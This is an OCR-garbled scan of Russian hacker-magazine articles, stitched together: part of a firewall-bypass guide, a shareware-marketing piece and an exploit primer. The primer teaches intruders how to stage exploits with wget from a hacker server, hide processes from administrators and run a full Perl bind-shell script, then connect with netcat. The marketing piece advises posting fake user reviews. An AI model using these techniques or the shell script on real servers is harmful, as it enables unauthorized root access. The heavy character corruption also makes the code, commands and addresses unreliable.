рамма организует туннель без дополнитель- 
ных привилегий. Софтина довольно старая и 
проверенная многими хакерами, поэтому 
может оказаться для тебя весьма полезной. 

Не стоит забывать и о Зоскз/Ргоху-серве- 
рах. Что касается "носков", то тут все проз- 
рачно: такой сервер запросто работает без 
рутовых прав и очень универсален: ты мо- 
жешь использовать его для любых соедине- 
ний от имени машины, на которой он уста- 
новлен. С ргоху-серверами посложнее. Во- 
первых, многие программы при сборке тре- 
буют рутовых привилегий, во-вторых, каждый 
прокси-сервер должен уметь соединяться че- 
рез 55Ц иначе толку от него будет немного. 
И, наконец, для пользования туннелем через 
прокси тебе может понадобиться какая-ни- 
будь клиентская приблуда, например 
НТТРогГ. Об этой чудесной программе мы 



ТОКИЕ РОЗНЫЕ экраны 



уже не раз писали. Этот прием особенно эф- 
фективен, когда на машине уже установлен 
рабочий прокси. В этом случае тебе требует- 
ся слегка модифицировать лист правил :). 
Жирный плюс стороннего софта очевиден: 
нет необходимости поднимать привилегии до 
рутовых, чтобы замутить форвардинг. Минус 
- рискованность: админ может заметить пос- 
торонний процесс, запустив утилиту рз. Что- 
бы этого не произошло, научись выдавать ха- 
керские программы за полезные демоны ;). 

А ПЕРЛОВЫЕ ПРОКПЗЫ 

Я уже говорил, что очень часто файрвол ос- 
танавливает хакера и заставляет оставить 
сервер в покое. Все потому, что взломщик не 
может запустить полноценный бэкдор и 
окончательно допинать машину локально. 
Однако при этом совсем не обязательно 
пользоваться портами - разумнее использо- 
вать прелести ѴѴеЬ'а и довериться различ- 
ным скриптам. Одним из таких скриптов яв- 
ляется СОІ-іеІпеі. Перловый сценарий предс- 
тавляет собой полноценную интерактивную 
оболочку, с помощью которой можно выпол- 
нять практически любые команды, а также 
скачивать и заливать файлы. Ну не сказка? 
Ставится ССНеІпеІ очень легко - достаточно 
залить скрипт на машину, установить на него 
режим 755 и радоваться жизни. Только перед 
этим необходимо поменять дефолтовый па- 
роль (еаіте) в сорцах сценария. 

Кроме этого, ты можешь запросто заму- 
тить соединение с интересующим тебя пор- 
том, написав нехитрый сценарий на одном 
из скриптовых языков. Например, ты име- 
ешь аккаунт на тузці-сервере, но 3306 порт 
наглухо зафильтрован (какая досада ;)). На 
скорую руку пишется регі-скрипт, который 
юзает модуль ЭВІ и выцарапывает нужную 
информацию. Либо рбр-скрипт, выполняю- 
щий обращение к базе без дополнительных 
модулей. Либо консольный сценарий с ис- 
пользованием /изг/Ьіп/тузцІ (для особых 
извращенцев). После всего скидываешь дан- 
ные в лог и со спокойной душой его изуча- 
ешь. Этот прием универсален и срабатывает 
при любых настройках брандмауэра. 

А ТЫ СДЕППП ЭТО! 

Надеюсь, что хотя бы один из вышеперечис- 
ленных приемов помог тебе обойти файр- 
вол. Все эти способы проверены лично мной 
и действительно заслуживают внимания, так 
что смело юзай любой из них. Только не пе- 
реусердствуй - мутить форвардинг с заме- 
ненным МАС'ом на доверенной машине - 
это, по-моему, уже слишком :). ЗС 






Е сли ты думаешь, что файрвол - это софтина, которая устанав- 
ливается на сервер, ты глубоко ошибаешься. Брандмауэр 
может представлять собой отдельный компьютер, фильтрую- 
щий пакеты для всей подсети, железяку, висящую на стене с 
несколькими кабелями в ней (на первый взгляд похожа на хаб), 
либо... то, что ты думаешь - софт, который используют повсе- 
местно. Выделяют серверные консольные файрволы (под *піх- 
Ііке системы) и простые персональные (чаще всего туевые и под 
винду). Последние обойти очень просто, а вот с железками де- 
ло обстоит иначе - при определенном раскладе у тебя вообще 
не будет никаких шансов на обман аппаратного брандмауэра... 
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0 спи заниматься кодингом ради собственного удовольствия, то рано или поздно встанет вопрос: как на нем заработать? Можно 

устроиться в какую-нибудь окопософтверную фирму на 40-часовую рабочую неделю и пахать за скромную зарплату. Устраивает? 
Сомнительно. О можно «подойти к проблеме научно» (с) гр. Кирпичи - написать хорошую программу и научиться грамотно ее 
продавать. Попробуем вклиниться в збагешаге-индустрию? 




Т ак уж легло, что в связи с гео- 
политическим положением на- 
шей страны, покупательная 
способность ее граждан 
не особенно велика. Такие 
монстры, как АСО Зузіетз, 
ѴѴіпйр іпс., а также всеми лю- 
бимая Місгозой (которая расп- 
ространяет свои продукты и в збагеѵѵаге- 
версиях) получают миллионы долларов чис- 
той прибыли у себя на родине, но вряд ли 
имеют большой ее процент у нас. Поэтому 
нам, чтобы получить максимальный доход 
от продажи собственных программ, надо 
рассчитывать только на богатеньких и очень 
ІТ-продвинутых иностранцев. 

Для того чтобы впарить им программу, 
придется потрудиться, так как какую бы соф- 
тину ты ни написал, наверняка у тебя уже бу- 
дут конкуренты. С ними мы ничего поделать 
не сможем (кроме как украсть какие-то идеи 
:)), просто будем стараться от них не отста- 
вать и откусывать сначала маленький кусочек 
их денежек, а потом, надеюсь, и большой. 
Ниже я дам несколько рекомендаций, как это 
лучше сделать, ведь в любом деле есть об- 
щепринятые вещи, а есть некоторые ориги- 
нальные идеи и авторские наработки. 



Л ОФОРМЛЕНИЕ 

Однако опыт показывает, что популярная 
программа не обязана быть очень ориги- 
нальной и полезной (хотя это не будет лиш- 
ним), не обязана она и использовать какие- 
то уникальные технические приемы. Для ус- 
пешной продажи это совсем не обязательно, 
основным залогом успеха является качест- 
венное оформление. Так уж устроен мозг на- 
шего покупателя, что его можно впечатлить 
красивым логотипом, эффектно всплываю- 



щими менюшками и ХР-иконками, в то вре- 
мя как техническая реализация функций тво- 
его софта останется за бортом его восприя- 
тия. Есть реальные примеры, когда качест- 
венно оформленный клон МоІерасГа отлично 
продавался, а автор этой сложной утилиты :) 
получал хорошие деньги. 

Вот основные правила, которых следует 
придерживаться в оформлении программ: 



ЗНОНЕШОКЕ С П0ІНІІНЕ 

С ейчас активно набирает популярность новый способ зараба- 
тывания денег на софте - Асіѵѵаге. Ты наверняка встречался с 
ним в таких программах, как Орега, Ведеі или ІСО. Это ужасно 
надоедливые баннеры, висящие на панели инструментов ря- 
дом с часто нажимаемыми кнопками. Асіѵѵаге - это способ полу- 
чения денег даже без покупки клиентом программы. Гадкий 
баннер сидит себе и сидит, показы капают. Если же это дело на- 
доест пользователю, то ему придется купить программу. Очень 
выгодная концепция, но только для хорошо раскрученных прог- 
рамм, ведь стоимость даже таргетированных показов не превы- 
сит $30 за тысячу, т.е. о достойных деньгах можно говорить 
лишь при большом числе пользователей. 





О. У программы должно быть информа- 
тивное и звучное название. Из него пользо- 
ватель сразу должен понять, с чем имеет де- 
ло: со сборником утилит или с графическим 
редактором. 

Ѳ. У программы должна быть полноцен- 
ная домашняя страничка, хорошо оформлен- 
ная рукой ѵѵеб-дизайнера и без единого упо- 
минания о русском ее происхождении. Сайт 
- это отправная точка пользователя, именно 
здесь он решит, скачивать ли твой продукт. 

А согласно статистике, примерно 3 человека 
из ста скачавших купят программу. Именно 
поэтому нужно уделять сайту отдельное и 
очень пристальное внимание. Домен второго 
уровня и хороший (читай - платный) хостинг 
придадут твоей виртуальной компании со- 
лидности. 

О. Размер не главное? Вранье! Чем 
меньше, тем лучше! Не все иностранцы еще 
перешли на высокоскоростные каналы связи, 
многие еще сидят на модемах. Программа в 
несколько мегабайт может оказаться для них 
непосильной ношей. 

О. Скачав и установив программу, пер- 
вое, с чем столкнется пользователь, будет 
ее иконка. Иконки должны быть идеальны, 
потому что именно на них он посмотрит сра- 
зу, как скачает файл. Частой ошибкой шаро- 
варщиков является пренебрежительное к 
ним отношение - нарисуют что-нибудь в ре- 
дакторе той среды, в которой программу пи- 
сали, и все. А зря. Поддержка новых 32-бит- 
ных версий иконок от ХР - обязательна! В 
М5ЭМ даже есть большая статья о том, как 
их правильно рисовать, какую палитру ис- 
пользовать, и как вообще грамотно оформ- 
лять свои программы в стиле новой винды. 
Эту статью можно найти на сайте М5ЭМ 
(ИНрѴ/тзсІп.тісгозоД.сот/ІІЬгагу/еп-иэ/сІпшр/ІіІітІ/ѵѵіпх- 
рісоп$.а$р) либо на нашем СЭ. 

©. Уже много всего говорили насчет ин- 
туитивно понятного интерфейса, но я так и 
не смог понять, в чем он заключается :). 
Просто при пользовании программой у юзе- 
ра не должно возникать ситуаций, когда он 
не знает, куда податься. Само собой, в ряде 
вопросов необходимо придерживаться об- 
щепринятых стандартов, но если можно что- 
то улучшить, это необходимо сделать. Как 
сказал один известный русский шаровар- 
щик: “Если у твоей программы есть кнопочка 
сохранения, то пусть она будет с дискеткой, 
как и в сотне других программ, здесь нов- 
шество может выйти боком”. 

О. Также не стоит забывать о техничес- 
кой поддержке своего продукта. Офлайновая 
справочная система, форум на сайте и опе- 




ративные ответы на все письма пользовате- 
лей - все это неотъемлемая часть качест- 
венного продукта. 

Фактически, соблюдая этот порядок 
оформления программного продукта, можно 
надеяться на успех. А даже малюсенький ус- 
пех в шароварном деле - это очень прилич- 
ный заработок. 

Л регистрация 

Если есть программа и сайт, то можно прис- 
тупить к продаже. Этот процесс будет осу- 
ществляться через специальных посредни- 
ков, регистраторов. Они будут получать от 
клиента деньги (разными способами, но нас 
больше всего устроит оплата с кредитки), 
накапливать до определенного момента, а 
затем высылать чек тебе. Естественно, де- 
лать они это будут не бесплатно. Вот самые 
известные регистраторы: 

а мшедпоѵшт. Наверное, самый попу- 
лярный и успешный регистратор. За каждую 
покупку он берет 20% от стоимости прог- 
раммы. Умеет генерировать и отсылать 
сложные серийные коды. 

л мшііагеіі.соіті. Этого регистратора в ка- 
кой-то момент облюбовали кардеры, отмы- 
вавшие на нем деньги. Но все равно он 
очень качественно выполняет свою работу и 
в срок высылает чеки. Берет $2,95 + 4% от 
суммы сделки. Один из его плюсов - интер- 
фейс на нескольких языках. 

а ім.гедзоФсот. У меня при общении с 
российскими шароварщиками сложилось 
впечатление, что это их любимый регистра- 
тор. Берет 10% от стоимости программы, 
если же она ниже $30, то берет $3. 

Оптимально одновременно работать с дву- 
мя регистраторами. Если по какой-то причи- 
не один из них не может работать у клиента, 
его заменит другой, а ты не потеряешь заказ. 

В процессе регистрации тебе нужно будет 
указать одну из самых важных характеристик 
твоей софтины - ее стоимость. Тут придется 
провести целое маркетинговое исследова- 
ние, посмотреть, за сколько продают свои 
продукты конкуренты и каков их рейтинг у 
регистратора. Слишком дорогую программу 
не будут покупать, а денег от продаж слиш- 
ком дешевой твой кошелек не оценит. Как 
показывает практика, целесообразно выби- 
рать цифру в районе $10-40, в зависимости 
от сложности софта. 

Л раскрутка 

Сразу после создания и регистрации прог- 
раммы о ней еще никто ничего не знает. Это 
надо исправлять. Для начала нужно оповес- 
тить все возможные поисковые системы о 
существовании твоего сайта с программой. 
Причем нужно приложить все усилия, чтобы 
при любом запросе, пересекающимся с те- 
матикой программы, твоя ссылка была на 
первой странице - причем чем выше, тем 
лучше. Иногда это достигается хитрыми ма- 
нипуляциями на страничке для обмана поис- 
кового бота, иногда место в первой десятке 
можно банально купить. Но самый действен- 
ный способ добиться желаемого результата 
- размещать программу на сайте с высоким 
индексом цитируемости, потому что это ос- 
новной параметр, по которому большинство 
поисковиков определяют твое местоположе- 
ние на странице с результатами поиска. Об 




этом в интернете очень много писали - на 
диске ты найдешь кучу статей по этому по- 
воду, либо можешь отыскать их через Ян- 
декс. Регистрация в поисковых системах - 
процесс долгий и муторный, но его можно 
сильно упростить, воспользовавшись одной 
из специализированных систем, автомати- 
чески регистрирующих твой сайт в куче раз- 
ных поисковиков. Неплохо было бы обойти 
несколько тематических форумов и запос- 
тить там рекламу своей программы - причем 
лучше всего писать именно от лица пользо- 
вателя, который восторженно отзывается о 
программе и рассказывает, как ей удобно 
пользоваться и сколько времени он с ней 
экономит. Да-да, черный РН :). 

Одним из обязательных условий раскрут- 
ки программы является добавление ее в ар- 
хивы збагеѵѵаге-программ. Без них просто 
никак, ведь, почувствовав необходимость в 
софте, клиент первым делом отправится на 
поиски заветной софтины именно туда, поэ- 
тому надо приложить все усилия, чтобы он 
скачал именно твою программу. Архивов 
много, некоторые - очень популярные, но 
платные, другие - совершенно бесплатны, 
но количество их посещений оставляет же- 
лать лучшего. 

Как и в случае с поисковиками, процесс 
добавления программ в каталоги уже непло- 
хо автоматизирован специальными система- 
ми. Но, к сожалению, они не работают с та- 
кими монстрами, как ѵш.іисош.сот или 
ѵм.спеісот из-за их платности, хотя все рав- 
но охватывают немало архивов. 

^ПОСЧИТОЕМПаВЕ 

А теперь займемся арифметикой. Среднень- 
кая программа, скажем, навороченный ре- 
дактор чего-нибудь, имеет около пяти тысяч 
скачиваний в месяц. По известной статисти- 
ке, три из ста боѵѵпіоасі’ов окончатся покуп- 
кой программы. Таким образом, получается, 
что твою программу ежемесячно будут поку- 
пать 5000*3/100 = 150 пользователей. А те- 
перь представь, что программа стоила $30, 
сколько выходит в месяц? Неплохо, правда? 

В заключение хочу посоветовать не огра- 
ничиваться теми немногими сведениями, что 
я привел. Для достижения настоящего успе- 
ха нужно подойти к делу творчески: искать 
новые архивы, заниматься рекламой сайта, 
выпускать новые версии программы. Все в 
твоих руках, дерзай. 





а Самые популяр- 
ные сайты для авто- 
матической регист- 
рации в поискови- 
ках: ѵѵѵѵѵѵ.ШерготоІ- 
ег.сот и ѵѵѵѵѵѵ.зиЬ- 
тіітап.сот. 

Также советую по- 
сетить сайт 
шл/ѵ.зѵѵгиз.сот, 
там ты найдешь 
много незамени- 
мых для шаровар- 
щика материалов. 

-о- 

л ѴѴіпАМР когда-то 
тоже был зНаге- 
ѵѵаге-программой и 
продавался по 
$10. Ргеешге он 
стал, когда 
ѵѵіпатр.сош начал 
привлекать милли- 
оны посетителей. 
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каждым днем появляется все больше и больше публичных сппойтов. Любой человек может, не напрягаясь ни минуты, используя 
решение из багтрака, получить удаленные рутовые права на ІІпіх-машине. Но ты ведь не из их числа, правда? Тебе ведь интересно 
разобраться с тем, как работают эксплойты, кто и как их пишет, откуда хакеры их берут, как компилируют и используют. Прочитав 
эту статью, ты получишь ответы на все свои вопросы 



ВСЕ, ЧТО ТЫ ХОТЕЛ зиять О ЭКСППОЙЩ НО БОЯЛСЯ СПРОСИТЬ 



взпои 



МНЯТ 18? 

пециально для танкистов, по 
случаю прошедшего Дня 
Победы, поясню: эксплойт - 
это специальная программа, 
обычно небольшого размера, 
написанная на одном из язы- 
ков программирования (обыч- 
но на С/С++), которая, ис- 
пользуя определенную уязвимость в софте 
сервера (переполнение буфера, ТогтаТ-зігіпд 
баг и т.д.), выполняет некоторую деструк- 
тивную функцию: предоставляет злоумыш- 
леннику доступ к командной оболочке систе- 
мы, ЭоЭ’ит сервер и т.п. Сплойты бывают 
двух видов: локальные и удаленные. Удален- 
ные хакер может запускать на любой тачке, 
достаточно лишь указать ехріоіі’у ІР-адрес 
жертвы. Если эксплойт сработает успешно, 
хакер достигнет своей цели - например, по- 
лучит рутшелл. Есть и локальные сплойты, 
запускать которые нужно непосредственно 
на ломаемой машине. Само собой, для этого 
нужно иметь шелл с возможностью компиля- 
ции и выполнения приложений, в результате 
такой атаки взломщик обычно добивается 
повышения собственных прав. 




.І0ТК9ДЯ ОНИ БЕРУТСЯ 

Чтобы ты хорошо понимал, откуда вообще 
берутся ехріоіі’ы (не на хріоіі-дереве же они 
растут!), давай рассмотрим пару примеров 
простеньких программ с багами. Взгляни на 
следующий фрагмент кода: 

іпі ргос(с!іаг *$1г){ 
сИаг Ьи([100]; 

$кру(Ьи№); 

геііяп 0: 

} 

Этот кусок программы резервирует в 
стеке область памяти объемом в 1 00 байт 



для переменной ЬиТ, копирует туда строко- 
вую переменную зіг, после чего выполняет 
еще какие-то действия. На первый взгляд, 
ничего подозрительного тут нет: если, нап- 
ример, в переменной зіг будет находиться 
строка «Форбик, не жмотись, поделись при- 
ватным сплойтом к РгоРТРЭ 1 .2.9!», она бу- 
дет скопирована в переменную ЬиТ и при 
этом не произойдет ничего необычного. 

Но может возникнуть и нестандартная ситуа- 
ция: если в переменной зіг будет находиться 
строка размером более 100 символов, функ- 
ция зігсру скопирует из нее первые 1 00 байт 
в переменную ЬиТ, а оставшимися данными 
затрет информацию, находящуюся в стеке! 
Эту атаку обычно называют «переполнением 
буфера» или «технологией срыва стека». Что 



п откуда им спивать? 



Э ксплойты можно найти повсюду. Но лучше всего сливать их с 
популярных ресурсов, таких как раскеізіогтзесигііу.огд, 
ѵѵѵѵѵѵ.зесигНуІаЬ.ги, или с сайта ЗАРАЗы ѵѵѵѵѵѵ.зесигііу.ппоѵ.ги. 
Также не забывай следить за обзором сплойтов, который 
публикуется в каждом номере ][. 
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ЭКСППОЙТНЫЙ ПИКБЕЗ 



хакер может сделать с помощью этой атаки? 
Дело в том, что в стеке хранится адрес возв- 
рата функции - указатель на начало кода, 
который будет выполняться после заверше- 
ния работы функции. А если з1гсру() переза- 
пишет его, то управление передастся по но- 
вому адресу. Хакер пишет на ассемблере 
специальный код, предназначенный для 
конкретной операционной системы, который 
запускает шелл (его называют "шелл-код”). 
Если сплойту удастся перезаписать адрес 
возврата так, чтобы он указывал на хакерс- 
кий код, управление передастся этому коду, 
в результате чего запустится заветный 
стб.ехе (или /Ьіп/зМ) с привилегиями вла- 



дельца этой дырявой программы. А вот при- 
мер другого бажного куска кода: 

іпі іогтаЦшд(сІіаг *$іг) 

{ 

іпі к = 9: 
ргіпВДг); 
геіигп 0; 

} 

Эта функция должна выводить в зМоиі со- 
держимое передаваемой через параметры 
переменной зіг. Если передать функции 
строку «Ні, реоріе!», на экран выведется то 
же самое, что и вводилось. Какая же ошибка 
может быть тут? Попробуем передать функ- 



ции строку «%х_%х_%х_%х_%х_%х_Н і , ррі!». 
Что же мы видим? Вместо ожидаемого ре- 
зультата на экране появилась строка 
“9Ш6 2іс892 7825_255іН і , ррі!”. Из-за че- 
го могло такое произойти? Фишка в том, что 
ргіпЩ) обрабатывает входные данные, восп- 
ринимая некоторые символы как форматные 
спецификаторы, и как ты уже понял, 

9 Ш6 2Тс 1^92 7825 2551" является соответ- 
ствием %х_%х_%х_%х_%х_%х . Шестнадцате- 
ричные представления чисел, которые ты 
видишь выше, это не что иное, как данные 
из стека. Число 9 - это значение перемен- 
ной к, Ш6 - сохраненное в стеке содержи- 
мое регистра Ьр, 2\с - адрес возврата функ- 
ции іогтаіЬид и т.д. Таким образом можно 
вывести содержимое всего стека. А ведь в 
нем могут находиться пароли, приватные 
ключи для шифрования и прочая важная ин- 
фа! Используя хитрым образом форматный 
преобразователь «%п», хакер может даже 
перезаписывать нужную область стека. Глав- 
ное, он может перезаписать адрес возврата 
функции. К чему это приводит - я писал вы- 
ше. Ошибка программиста заключается в 
том, что он не указал ргіпІТ’у тип выводимых 
данных, в результате чего пользователь смог 
сам влиять на строку форматных специфика- 
торов. Если бы в коде вместо строки 
«ргіпН(зІг);» он написал «ргіпй(“%з”,з1г);», все 
работало бы без багов. Собственно говоря, 
эти две уязвимости чаще всего используют- 
ся хакерами при написании эксплойтов. 

А КОМПИЛЯЦИЯ НІН’ОВЫН 

эксплоитов 

Обычно эксплойты пишут под одну из двух 
популярных платформ - под форточки от 
всеми любимых мелкомягких или под никсы. 
Для того чтобы откомпилить никсовый 
сплойт, вовсе не обязательно ставить себе 
ипіх. Обычно хакеры взламывают какой-ни- 
будь сервак и используют его как плацдарм 
для хака, собирая и запуская гетоіе-сплойты 
прямо на нем. Чтобы собрать *піх-ехрІоіІ, 
следует заюзать компилятор дсс, который 
имеется на большинстве серверов. Компи- 
лируется эксплойт следующим образом. В 
командной строке оболочки оси набирается 
команда дсс ехрі.с -о ехрі. В нашем случае, 
ехрі.с - имя файла исходника, ехрі - имя 
конечного файла. Если процесс компиляции 
завершится успешно, в той же папке, в кото- 
рой находятся сорцы сплойта (ехрі.с), поя- 
вится новый файл-бинарник ехрі, который 
как раз и можно запускать. Удаленные 
сплойты можно компилить где угодно, а вот 
локальные лучше всего собирать прямо на 
машине-жертве. Хотя часто бывает так, что 
шелл на сервере есть, но доступ к компиля- 
тору ограничен. В этом случае лучшее реше- 
ние - собрать сплойт на другой машине, ра- 
ботающей под аналогичной операционной 
системой, при этом нужно понимать, что ес- 
ли ты соберешь сплойт под ОрепВЗЭ 3.4, 
он не будет работать во РгееВЗЭ 4.9. 

компиляция виндовых 
эксплоитов 

Стандартных средств для компиляции 
программ в винде нет, поэтому тебе придет- 
ся устанавливать специальный софт. Сущест- 
вует много различных виндовых компилято- 
ров С, например С++ Виіібег от ВогІапсГа, 



КПК ОТКОИПИЛИТЬ никсовый эксплойт под вынь? 

Ч то будет делать хакер, если под рукой у него вдруг не 
окажется *піх-шелла, а сервак нужно как можно быстрее 
порутать гетоіе-ехріоііі’ом? Тут на помощь ему придет судѵѵіп. 
Это самый лучший эмулятор УЫІХ’а. Все его прелести 
перечислять сейчас не буду, скажу только по существу - в нем 
реализована возможность мультиплатформенного 
программирования, то есть он позволяет компилировать в 
ехе’шники программы, написанные под никсы. Сам 
понимаешь, что их можно будет запускать на любой виндовой 
тачке! Не правда ли, полезная софтина? Хочешь поставить себе 
такую? С сайта ѵѵѵѵѵѵ. судѵѵіп. сот сливаешь файл зеіир.ехе, 
который весит всего 262 килобайта. Но это пока не все. 
Существуют два режима установки программы - можно 
загрузить все необходимое прямо из инета либо сначала слить 
установочные файлы, а потом установить их из локальной 
директории. Советую пойти вторым путем - если ты скачаешь 
все нужные для судѵѵіп ’а файлы к себе на хард, ты сможешь 
переустанавливать программу сколько угодно раз. Допустим, 
ты слил и распаковал все необходимые файлы в папку с:\СѴѴ. 
Запускай зеШр.ехе, выбирай пункт «ІпзіаІІ Тгот ІосаІ бігесіюгу» и 
жми «далее». Теперь указывай путь к папке, в которую хочешь 
установить софтину (пусть это будет с:\судѵѵіп), и путь к дире с 
файлами установки (в нашем случае это с:\СѴѴ). Допустим, 
процесс установки прошел успешно, и теперь осталось только 
произвести некоторые настройки. Форбикуже писал в ][ статью 
о судѵѵіп (ѵѵѵѵѵѵ. хакер. ги/ро 5 І/ 13737 /гіеТаиИ.Н 1 :т), поэтому я 
не буду углубляться в тонкости конфигурирования, а только 
расскажу, как настроить программу на скорую руку. Для начала 
скопируй файл еіс/беТаиІіз/еіс/ргоТИе в каталог /еіс и 
перелогинься. Этим действием ты применишь дефолтные 
настройки. Теперь можно приступить к установке утилит, 
входящих в стандартный состав дистрибутива. Для этого ты 
переходишь в корневой каталог и распаковываешь нужные тебе 
пакеты (виндовые логические диски в судѵѵіп’е смонтированы в 
каталог /судбгіѵе): 

ей / 

іаг хѵіі /судйгіѵе/с/Ш/геІеазе/дсс/дсс-З.З.І-З.іаг.Ьіг 
іаг хѵіі /суд(Ігіѵе/с/СѴѴ/геІеа$е/тоге/тоге-2.11о-1.і:аг.Ь22 
іаг хѵіі /суд8гіѵе/с/Ш/геІеа5е/тс/тс-4.6.0-4Таг.Ь22 
... и т.д. 

Теперь мы имеем работающий тс, тоге и дсс. С помощью 
последнего как раз и можно компилить сплойты. Попробуй 
откомпилировать какую-нибудь простенькую программку, 
которая выводит на экран фразу «ТіеІІо, хакер». Пусть она будет 
называться беііо.с. А теперь посмотри из-под винды, как 
выглядит откомпиленный результат. Смотри, что произошло - 
файл беііо.с скомпилировался в НеІІо.ехе, и теперь его без 
проблем можно запускать на любой тачке с ѵѵіпбоѵѵз. Проверь, 
работает ли этот ехе'шник. Если да, то можно приступить и к 
компиляции ехріоіі’ов. 
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или СРР сотрііег от Интела. Но пользоваться 
советую только двумя софтинами: ѴізиаІ С++ 
от М5 и компилятором Ісс-ѵѵіп32 
(шо5(Іти/$ой.рІір?дгоир=Ііаск$оШа2(1еІ=оШег). Пос- 
ледний хоть и маленький (весит всего 4 мет- 
ра), да удаленький. Смотри, как просто с его 
помощью собрать эксплойт. Допустим, ты ус- 
пешно установил (на стадии установки ника- 
ких проблем возникнуть не должно) и запус- 
тил программу. Теперь перетащи в открыв- 
шееся окошко исходник сплойта (пусть это 
будет тутз.с). Жми Сотрііег -> Маке. Ком- 
пилятор заявит, что для компилируемого 
сплойта не создан проект, и предлежит его 
сотворить. Сразу после того как ты дашь ему 
на это разрешение нажатием кнопки УЕ5, 
эксплойт откомпилируется, в результате чего 
ты сможешь юзать только что появившийся 
ехе'шник. В ѴізиаІ ЗТисІіо эксплойты компи- 
лятся аналогичным образом. 

А ЕХРМІТВПС8 

Большинство эксплойтов, находящихся в Се- 
ти, умышленно повреждаются самими прог- 
раммистами. Обычно они вносят незначи- 
тельные изменения в исходный код для того, 
чтобы на стадии компиляции возникали 
ошибки. Зачем им заниматься таким членов- 
редительством? :) Дело в том, что авторы 
пытаются предотвратить попадание своего 
хріоіі’а в руки скрипткиддисов, громящих в 
Сети все и вся. Поэтому прежде чем компи- 
лировать сплойт, тебе придется исправить в 
нем ошибки. А вот как раз для этого просто 
необходимо знать язык Си. И если ты его не 
знаешь - как можно быстрее начинай изу- 
чать! Чаще всего в эксплойт встраивают син- 
таксические ошибки - либо в какой-нибудь 
инструкции букву нарочно удалят, либо 
скобку не в ту сторону закроют (или откро- 
ют). Часто бывает так, что символ “*”, кото- 
рый является указателем на тип данных, ста- 




как запивать эксплойт на сервер? 

И ля заливки сплойта (или любого другого файла) на *піх-сер- 
вер, к которому есть шелл-доступ, чаще всего используют 
утилиту ѵѵдеі Синтаксис тулзы прост до безобразия: если в ко- 
мандной строке набрать ѵѵдек Ийр://Иаскег_зегѵег/ехрІоік.с, с 
тачки баскег зегѵег в текущую директорию сольется файл 
ехріоіі.с. Обычно эксплойты заливают в каталог Дтр, так как 
любой юзер имеет право записи в эту папку. Если на сервере 
эта софтина отсутствует, можно заюзать альтернативные тулзы 
- Теісб, Іупх и сигі. Если на удаленной тачке, к которой у тебя так- 
же есть шелл-акцес, стоит винда, и нужно залить туда файл, 
можно воспользоваться утилитой Йр. Для этого в командной 
строке набираешь: Йр адрес_твоего_хоста,_где_лежит_файл. 
После этого ты логинишься и набираешь команду дек имя нуж- 
ногофайла. В результате в текущую папку по протоколу Йр 
сольется указанный тобой файл. 




вят не с той стороны переменной, чтобы 
возникла ошибка. Словом, ошибки делают 
разные. Но для человека, мало-мальски зна- 
комого с С++, это не проблема - он сразу 
видит и правит баги. 

А запуск эксплойтов 

Допустим, хакер нашел, залил на сервер и 
откомпилировал эксплойт, рутающий сервак. 
Теперь пришло время его запускать. Для то- 
го чтобы получить рута в системе с по- 
мощью ІосаІ-ехрІой’а, веб-шеллом ему не 
обойтись. Хакеру необходим полноценный 
доступ. Нужно забиндить шелл на каком-ни- 
будь порту, приконнектиться туда и только 
потом запускать сплойт. В этом ему поможет 
простой скрипт на РегІ. 



Перловый скрипт, биндящий шелл на 32767 порту 



#!/и$г/Ып/рег1 
$рогі = 32767: 
ехіі ІІ (огк; 

$0 = "ирсІаІегІЬ" . " " хЮО; 

$$16{СНШ} = ЧШКЕ 1 ; 
изе Зоскеі; 

$оскеі($, РЕ.ІШ, 50СК5ТРЕАМ, 0); 
$еі$оскорі($, ЖДОСКЕТ, 50.ВЕШ00К, 1); 
Ьіп<К$, $оскаіі(1г_іп($рогі, ІШІШѴ)); 
Іі$(еп(5, 50): 

|»М1е(1){ 
ассер((Х, 5): 



ипІе$$(!огк) 

{ орел 5ТРШ, "<5Х"; 
ореп 5Ю0УТ, ">&Х П : 
ореп ЗТОЕРВ, ">&Х"; 
сіозе X: 

ехес(" /Ьіп/зіі"); 

} сіозе X:} 

Хакер заливает его в каталог Дтр и запус- 
кает командой “регІ имя скрипта.рі”, в ре- 
зультате чего на сервере открывается порт 
32767. Как он может теперь соединиться с 
сервером? Лучше всего использовать для 
этого утилиту ІМеіСаі (м.п$сІ.гіі/$ой/1/пс11п1.2Ір). 
Синтаксис тулзы следующий: пс.ехе <ад- 
рес_сервера> <порт>. После того как 
взломщик сконнектится с серваком и перей- 
дет в папку со сплойтом, можно запускать 
вредоносное приложение. Если сплойт сра- 
ботает успешно, хакер увидит картинку, по- 
добную той, что ты видишь на скриншоте. 

Представим, что хакер откомпилировал уда- 
ленный сплойт. Как он будет его запускать? Да 
точно так же, как и локальный, только теперь 
это можно сделать с любого компьютера! В 
этом случае программе необходимо передать 
несколько параметров: ІР-адрес жертвы, время 
таймаута и т.п. О том, как именно работать с 
конкретным эксплойтом, обычно рассказывает- 
ся в комментариях автора и геабте файлах. 
Если же никакой информации нет, можно отко- 
пать названия флагов в коде самого сплойта. 
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ЭКСППОЙТНЫЙ ПИКБЕЗ 





Л ГПКЕ-ЭКСППОЙТЫ 

Иногда бывает так, что автор эксплойта хо- 
чет поиметь не какой-нибудь дырявый 
РгоРТРО 1 ,2.5гс1 , а самого тебя ;). Когда ты 
сливаешь из инета новый файл и проверя- 
ешь его антивирусом, то думаешь, что обес- 
печиваешь себе защиту от троянов. Но ты 
ошибаешься. Сейчас я покажу, как можно 
замаскировать троянского коня под 
эксплойт. Писать свой фейк-сплойт не буду, 
приведу пример из реальной жизни. Так вот, 
есть такая гнилая команда горе-хакеров 
ОірзНаск, которая выложила на свой сайт 
«эксплойт» вот с таким описанием: “Удален- 
ный кернел рут эксплойт, проверен на зіаск- 
ѵѵаге 9.1 , гесІГіаІ 9.1 . (ядро 2.4.2*). Эксплойт 
следует запускать под рутом на машине ата- 
кующего для открытия сырого сокета. Ком- 
пилируем: дсс -о ктобахх ктобахх.с, запус- 
каем: ,/ктобахх ір и получаем рутшелл. 

Всем срочно качать и хакать, не отходя от 
кассы: [Скачать]”. Опытный хакер, конечно, 
сразу заметит, что тут есть какой-то подвох 
(ага, обязательно надо под рутом запускать 
- чтобы сокеты и сырые, и мокрые открыва- 
лись ;) - прим. СиТТег’а). Взгляни на исход- 
ник фейка (ѵѵѵѵѵѵ.дірзііаск.ги/ехрі/ктосіахх.с). 



Эта подделка сделана настолько правдопо- 
добно, что на первый взгляд она ничем не от- 
личается от настоящего эксплойта. Но если 
проанализировать весь исходный код от нача- 
ла до конца, можно понять, кого она хакает. 
Вся соль в псевдо-шеллкоде. Если ты переве- 
